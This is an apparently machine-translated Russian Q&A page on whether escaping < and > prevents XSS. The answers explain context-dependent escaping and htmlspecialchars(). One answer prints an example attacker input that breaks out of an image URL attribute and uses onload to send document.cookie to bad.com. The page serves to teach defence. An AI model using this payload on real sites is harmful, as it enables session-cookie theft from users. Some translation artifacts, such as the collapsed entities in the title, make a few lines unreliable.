Достаточно ли заменить: <и> на <и>, чтобы предотвратить внедрение XSS? - PullRequest
14 голосов
/ 22 января 2010

Я хочу знать, достаточно ли заманчивости двух отметок < и > для предотвращения инъекций XSS?

А если нет, то почему? И какое лучшее решение?

Ответы [ 2 ]

17 голосов
/ 22 января 2010

Это очень сильно зависит от контекста.

Посмотрите на этот пример с типичного сайта форума ...

Вы можете установить горячую ссылку на ваше изображение аватара. Введите полный URL.

Злоумышленник вводит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Там нет кодировки меньше и больше чем, но все же есть большая дыра в безопасности.

С htmlspecialchars() я считаю хорошей идеей сделать (или использовать) функцию-обертку, которая преобразует строку, обеспечивает более простой способ отключить двойное кодирование (при необходимости) и убедиться, что он использует правильный набор символов вашего приложения. У Коханы есть отличный пример .

6 голосов
/ 22 января 2010

Вы должны также принять двойные кавычки ", одинарные кавычки ' и амперсанды &. Если вы делаете это все во время отображения / генерации вывода, то да, этого достаточно.

Вы должны только обеспечить , что вы делаете это для любого пользовательского ввода, такого как параметры запроса, URL-адрес запроса, заголовки запроса и пользовательский ввод, который хранится в хранилище данных.

В PHP вы можете сделать это с помощью htmlspecialchars(), а в JSP cou - с помощью JSTL <c:out>.

...